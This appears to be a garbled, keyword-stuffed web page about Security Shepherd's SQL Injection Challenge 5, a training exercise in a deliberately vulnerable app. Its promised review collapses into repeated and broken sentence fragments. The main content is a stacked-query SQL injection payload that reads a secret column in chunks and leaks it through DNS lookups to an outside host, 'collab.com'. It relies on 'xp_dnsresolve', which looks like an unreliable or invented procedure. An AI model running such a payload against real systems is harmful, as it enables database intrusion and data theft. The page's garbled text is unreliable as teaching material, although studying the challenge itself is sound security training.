Sql+injection+challenge+5+security+shepherd+new May 2026

Security Shepherd's SQL Injection Challenge 5 (the "new" variant) is a deliberately vulnerable web application module designed to teach advanced SQL injection techniques and defenses. The challenge typically involves exploiting blind and logical/boolean-based SQL injection, bypassing input filters, chaining multiple injections, and extracting data from multiple tables. This review covers objective goals, attack surface, exploitation steps, payloads, mitigation recommendations, and assessment of difficulty and learning value.

The challenge presents a simple form that accepts a username and a password. sql+injection+challenge+5+security+shepherd+new

Upon submitting credentials, the application responds with: Security Shepherd's SQL Injection Challenge 5 (the "new"

No other data is displayed on the page.

Here’s a full example payload to extract the entire secret in one shot using a while loop (injected via stacked queries – only works if MultipleActiveResultSets is true or via blind but OOB loops are fine): The challenge presents a simple form that accepts

' OR 1=1; 
DECLARE @i int = 1; 
DECLARE @len int; 
DECLARE @chunk nvarchar(4000); 
SELECT @len = LEN(secret_key) FROM secret_table; 
WHILE @i <= @len
BEGIN 
    SELECT @chunk = SUBSTRING(secret_key, @i, 50) FROM secret_table; 
    EXEC xp_dnsresolve @chunk + '.' + CAST(@i AS varchar) + '.collab.com'; 
    SET @i = @i + 50; 
END; 
--